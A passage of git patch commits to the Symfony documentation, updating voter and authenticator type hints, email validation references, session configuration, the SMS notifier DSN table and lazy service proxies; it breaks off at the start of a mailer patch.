     }
 
 .. _how-to-use-the-voter-in-a-controller:
@@ -129,7 +129,7 @@ would look like this::
         const VIEW = 'view';
         const EDIT = 'edit';
 
-        protected function supports(string $attribute, $subject): bool
+        protected function supports(string $attribute, mixed $subject): bool
         {
             // if the attribute isn't one we support, return false
             if (!in_array($attribute, [self::VIEW, self::EDIT])) {
@@ -144,7 +144,7 @@ would look like this::
             return true;
         }
 
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
+        protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
 
@@ -189,7 +189,7 @@ That's it! The voter is done! Next, :ref:`configure it <declaring-the-voter-as-a
 
 To recap, here's what's expected from the two abstract methods:
 
-``Voter::supports(string $attribute, $subject)``
+``Voter::supports(string $attribute, mixed $subject)``
     When ``isGranted()`` (or ``denyAccessUnlessGranted()``) is called, the first
     argument is passed here as ``$attribute`` (e.g. ``ROLE_USER``, ``edit``) and
     the second argument (if any) is passed as ``$subject`` (e.g. ``null``, a ``Post``
@@ -199,7 +199,7 @@ To recap, here's what's expected from the two abstract methods:
     return ``true`` if the attribute is ``view`` or ``edit`` and if the object is
     a ``Post`` instance.
 
-``voteOnAttribute(string $attribute, $subject, TokenInterface $token)``
+``voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token)``
     If you return ``true`` from ``supports()``, then this method is called. Your
     job is to return ``true`` to allow access and ``false`` to deny access.
     The ``$token`` can be used to find the current user object (if any). In this
@@ -242,7 +242,7 @@ with ``ROLE_SUPER_ADMIN``::
             $this->security = $security;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
+        protected function voteOnAttribute($attribute, mixed $subject, TokenInterface $token): bool
         {
             // ...
 

From af248b7463a1c3c98ae7696f376a64248fe31eea Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Fri, 15 Jul 2022 23:13:54 +0200
Subject: [PATCH 3396/7107] [Security] update strategy number

Strategies : affirmative, consensus, unaminous and priority (introduced in V 5.1)
---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index c86818d2978..90cc1178225 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -275,7 +275,7 @@ checks if the user is a member of the site and a second one that checks if the u
 is older than 18.
 
 To handle these cases, the access decision manager uses a "strategy" which you can configure.
-There are three strategies available:
+There are four strategies available:
 
 ``affirmative`` (default)
     This grants access as soon as there is *one* voter granting access;

From 4f152cd24eacf2dd0d763ae31bc7e8ea30cc7cfa Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 16 Jul 2022 19:04:14 +0200
Subject: [PATCH 3397/7107] [Security] Update custom_authenticator

Adjust authenticate() return type & createToken $passport typehint to be like the definition in AuthenticatorInterface
---
 security/custom_authenticator.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4178e254904..061852878a3 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -355,7 +355,7 @@ authenticator methods (e.g. ``createToken()``)::
     {
         // ...
 
-        public function authenticate(Request $request): PassportInterface
+        public function authenticate(Request $request): Passport
         {
             // ... process the request
 
@@ -367,7 +367,7 @@ authenticator methods (e.g. ``createToken()``)::
             return $passport;
         }
 
-        public function createToken(PassportInterface $passport, string $firewallName): TokenInterface
+        public function createToken(Passport $passport, string $firewallName): TokenInterface
         {
             // read the attribute value
             return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));

From a31ba86a3c158c32aa5a7c4b4155d0c61cab060d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 17 Jul 2022 22:25:50 +0200
Subject: [PATCH 3398/7107] Updating Link

---
 reference/constraints/Email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index ddf462ef6b4..a4d0721a99a 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -145,4 +145,4 @@ configuration option.
 
 .. _egulias/email-validator: https://packagist.org/packages/egulias/email-validator
 .. _HTML5 email input element: https://www.w3.org/TR/html5/sec-forms.html#valid-e-mail-address
-.. _RFC 5322: https://tools.ietf.org/html/rfc5322
+.. _RFC 5322: https://datatracker.ietf.org/doc/html/rfc5322

From 08b1bd4a97126efe7368c58af344e367ece8e330 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 17 Jul 2022 22:35:16 +0200
Subject: [PATCH 3399/7107] Adding class constants

---
 reference/constraints/Email.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index ddf462ef6b4..3941fb71f1a 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,6 +135,9 @@ This option defines the pattern used to validate the email address. Valid values
 * ``strict`` uses the `egulias/email-validator`_ library (which you must
   install separately) for validation according to `RFC 5322`_.
 
+You can also use the class constants of :class:`Symfony\\Component\\Validator\\Constraints\\Email`,
+e.g. ``Email::VALIDATION_MODE_STRICT``.
+
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`
 configuration option.

From 6f18414ce10293ac5c682276b064fa143d828763 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 08:53:41 +0200
Subject: [PATCH 3400/7107] Revert minor change

---
 bundles/best_practices.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index c0c96b23289..d572b808d86 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -227,7 +227,7 @@ Require a Specific Symfony Version
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 You can use the special ``SYMFONY_REQUIRE`` environment variable together
-with Symfony to install a specific Symfony version:
+with Symfony Flex to install a specific Symfony version:
 
 .. code-block:: bash
 

From a9ff6609c0556f521dbfa8cc9e7668ab6c4c78c7 Mon Sep 17 00:00:00 2001
From: Alexey Rogachev <arogachev90@gmail.com>
Date: Fri, 15 Jul 2022 16:17:19 +0600
Subject: [PATCH 3401/7107] Fix broken reference to CommandCompletionTester
 class

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index cddbe407ce4..ab55f6d04f0 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -368,7 +368,7 @@ Testing the Completion script
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The Console component comes with a special
-:class:`Symfony\\Component\\Console\\Test\\CommandCompletionTester`` class
+:class:`Symfony\\Component\\Console\\Tester\\CommandCompletionTester`` class
 to help you unit test the completion logic::
 
     // ...

From a6ee5ed5522fbc24ba36102480ca16ed3f7611b5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 12 Jul 2022 16:21:12 +0200
Subject: [PATCH 3402/7107] Fixing storage_factory_id

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 55bc2be1a0c..2898ba5d70b 100644
--- a/session.rst
+++ b/session.rst
@@ -71,7 +71,7 @@ sessions, check their default configuration:
                 // improves the security of the cookies used for sessions
                 ->cookieSecure('auto')
                 ->cookieSamesite(Cookie::SAMESITE_LAX)
-                ->storage_factory_id('session.storage.factory.native')
+                ->storageFactoryId('session.storage.factory.native')
             ;
         };
 

From 08e83190cf1f7387d9056e03dd6d09112c76f2ac Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Fri, 15 Jul 2022 14:19:26 +0100
Subject: [PATCH 3403/7107] [Notifier] Add ContactEveryone Doc

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index aa2ed34c78c..64a30ea2d02 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -66,6 +66,7 @@ Service         Package                               DSN
 AllMySms        ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+ContactEveryone  ``symfony/contact-everyone-notifier`` ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``  
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
 FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``

From b10cbc8fb76330cf543d517648eda6e8ef944d4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 09:21:38 +0200
Subject: [PATCH 3404/7107] Minor tweaks

---
 notifier.rst | 78 ++++++++++++++++++++++++++--------------------------
 1 file changed, 39 insertions(+), 39 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 64a30ea2d02..82980f4698e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,49 +59,49 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==============  ====================================  ===========================================================================
-Service         Package                               DSN
-==============  ====================================  ===========================================================================
-46elks          ``symfony/forty-six-elks-notifier``   ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
-AllMySms        ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
-AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
+===============  ====================================  ===========================================================================
+Service          Package                               DSN
+===============  ====================================  ===========================================================================
+46elks           ``symfony/forty-six-elks-notifier``   ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
+AllMySms         ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AmazonSns        ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Clickatell       ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 ContactEveryone  ``symfony/contact-everyone-notifier`` ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``  
-Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-GatewayApi      ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
-Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
-Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-KazInfoTeh      ``symfony/kaz-info-teh-notifier``     ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
-LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
-MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
-MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
-Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo           ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
-Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-OrangeSms       ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
-OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
-Sendberry       ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
-Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
-Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
-SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
-Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SMSFactor       ``symfony/sms-factor-notifier``       ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
-SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
-Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
-TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
-Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
-Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
-Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
-==============  ====================================  ===========================================================================
+Esendex          ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms          ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
+FreeMobile       ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi       ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
+Infobip          ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
+Iqsms            ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+KazInfoTeh       ``symfony/kaz-info-teh-notifier``     ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
+LightSms         ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mailjet          ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
+MessageBird      ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
+MessageMedia     ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
+Mobyt            ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+Nexmo            ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
+Octopush         ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OrangeSms        ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
+OvhCloud         ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
+Sendberry        ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
+Sendinblue       ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+Sms77            ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
+Sinch            ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+Smsapi           ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+SmsBiuras        ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+Smsc             ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
+SMSFactor        ``symfony/sms-factor-notifier``       ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
+SpotHit          ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
+Telnyx           ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+TurboSms         ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
+Twilio           ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+Vonage           ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
+Yunpian          ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
+===============  ====================================  ===========================================================================
 
 .. versionadded:: 6.2
 
-    The SMSFactor integration was introduced in Symfony 6.2.
+    The ContactEveryone and SMSFactor integrations were introduced in Symfony 6.2.
 
 .. versionadded:: 6.1
 

From 59700691f70f9317bcc798912b04c6381e2f73e6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 10:24:47 +0200
Subject: [PATCH 3405/7107] Fix RST table

---
 notifier.rst | 78 ++++++++++++++++++++++++++--------------------------
 1 file changed, 39 insertions(+), 39 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 82980f4698e..bbe2570c722 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,45 +59,45 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-===============  ====================================  ===========================================================================
-Service          Package                               DSN
-===============  ====================================  ===========================================================================
-46elks           ``symfony/forty-six-elks-notifier``   ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
-AllMySms         ``symfony/all-my-sms-notifier``       ``allmysms://LOGIN:APIKEY@default?from=FROM``
-AmazonSns        ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-Clickatell       ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
-ContactEveryone  ``symfony/contact-everyone-notifier`` ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``  
-Esendex          ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms          ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
-FreeMobile       ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-GatewayApi       ``symfony/gateway-api-notifier``      ``gatewayapi://TOKEN@default?from=FROM``
-Infobip          ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
-Iqsms            ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-KazInfoTeh       ``symfony/kaz-info-teh-notifier``     ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
-LightSms         ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
-Mailjet          ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
-MessageBird      ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
-MessageMedia     ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
-Mobyt            ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
-Nexmo            ``symfony/nexmo-notifier``            Abandoned in favor of Vonage (symfony/vonage-notifier).
-Octopush         ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
-OrangeSms        ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
-OvhCloud         ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
-Sendberry        ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-Sendinblue       ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
-Sms77            ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
-Sinch            ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi           ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
-SmsBiuras        ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
-Smsc             ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
-SMSFactor        ``symfony/sms-factor-notifier``       ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
-SpotHit          ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
-Telnyx           ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
-TurboSms         ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
-Twilio           ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
-Vonage           ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
-Yunpian          ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
-===============  ====================================  ===========================================================================
+===============  =====================================  ===========================================================================
+Service          Package                                DSN
+===============  =====================================  ===========================================================================
+46elks           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
+AllMySms         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AmazonSns        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Clickatell       ``symfony/clickatell-notifier``        ``clickatell://ACCESS_TOKEN@default?from=FROM``
+ContactEveryone  ``symfony/contact-everyone-notifier``  ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``
+Esendex          ``symfony/esendex-notifier``           ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms          ``symfony/fake-sms-notifier``          ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
+FreeMobile       ``symfony/free-mobile-notifier``       ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi       ``symfony/gateway-api-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
+Infobip          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
+Iqsms            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+KazInfoTeh       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
+LightSms         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mailjet          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
+MessageBird      ``symfony/message-bird-notifier``      ``messagebird://TOKEN@default?from=FROM``
+MessageMedia     ``symfony/message-media-notifier``     ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
+Mobyt            ``symfony/mobyt-notifier``             ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
+Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vonage (symfony/vonage-notifier).
+Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
+OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
+Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
+Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
+Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
+Sinch            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
+Smsapi           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
+SmsBiuras        ``symfony/sms-biuras-notifier``        ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
+Smsc             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
+SMSFactor        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
+SpotHit          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
+Telnyx           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+TurboSms         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
+Twilio           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``
+Vonage           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``
+Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
+===============  =====================================  ===========================================================================
 
 .. versionadded:: 6.2
 

From a6b283b50a59c23f013cac4369c2bdbb140820ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 10:05:43 +0200
Subject: [PATCH 3406/7107] [DependencyInjection] Use lazy-loading ghost object
 proxies out of the box

---
 service_container/lazy_services.rst | 43 ++++++++---------------------
 1 file changed, 11 insertions(+), 32 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 7c9ff74637b..fb0fe699b6e 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -30,15 +30,10 @@ until you interact with the proxy in some way.
     In PHP versions prior to 8.0 lazy services do not support parameters with
     default values for built-in PHP classes (e.g. ``PDO``).
 
-Installation
-------------
+.. versionadded:: 6.2
 
-In order to use the lazy service instantiation, you will need to install the
-``symfony/proxy-manager-bridge`` package:
-
-.. code-block:: terminal
-
-    $ composer require symfony/proxy-manager-bridge
+    Starting from Symfony 6.2, you don't have to install any package (e.g.
+    ``symfony/proxy-manager-bridge``) in order to use the lazy service instantiation.
 
 Configuration
 -------------
@@ -81,32 +76,16 @@ You can mark the service as ``lazy`` by manipulating its definition:
             $services->set(AppExtension::class)->lazy();
         };
 
+Once you inject the service into another service, a lazy ghost object with the
+same signature of the class representing the service should be injected. A lazy
+`ghost object`_ is an object that is created empty and that is able to initialize
+itself when being accessed for the first time). The same happens when calling
+``Container::get()`` directly.
 
-Once you inject the service into another service, a virtual `proxy`_ with the
-same signature of the class representing the service should be injected. The
-same happens when calling ``Container::get()`` directly.
-
-The actual class will be instantiated as soon as you try to interact with the
-service (e.g. call one of its methods).
-
-To check if your proxy works you can check the interface of the received object::
+To check if your lazy service works you can check the interface of the received object::
 
     dump(class_implements($service));
-    // the output should include "ProxyManager\Proxy\LazyLoadingInterface"
-
-.. note::
-
-    If you don't install the `ProxyManager bridge`_ , the container will skip
-    over the ``lazy`` flag and directly instantiate the service as it would
-    normally do.
-
-Additional Resources
---------------------
-
-You can read more about how proxies are instantiated, generated and initialized
-in the `documentation of ProxyManager`_.
+    // the output should include "Symfony\Component\VarExporter\LazyGhostObjectInterface"
 
-.. _`ProxyManager bridge`: https://github.com/symfony/symfony/tree/master/src/Symfony/Bridge/ProxyManager
-.. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern
-.. _`documentation of ProxyManager`: https://github.com/Ocramius/ProxyManager/blob/master/docs/lazy-loading-value-holder.md
+.. _`ghost object`: https://en.wikipedia.org/wiki/Lazy_loading#Ghost
 .. _`final`: https://www.php.net/manual/en/language.oop5.final.php

From f14ec5d6553059f7cb3fceaf12ae490bc70cc2f4 Mon Sep 17 00:00:00 2001
From: Benoit Galati <benoit.galati@gmail.com>
Date: Fri, 29 Apr 2022 08:53:04 +0200
Subject: [PATCH 3407/7107] [Mailer] Add Infobip bridge

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
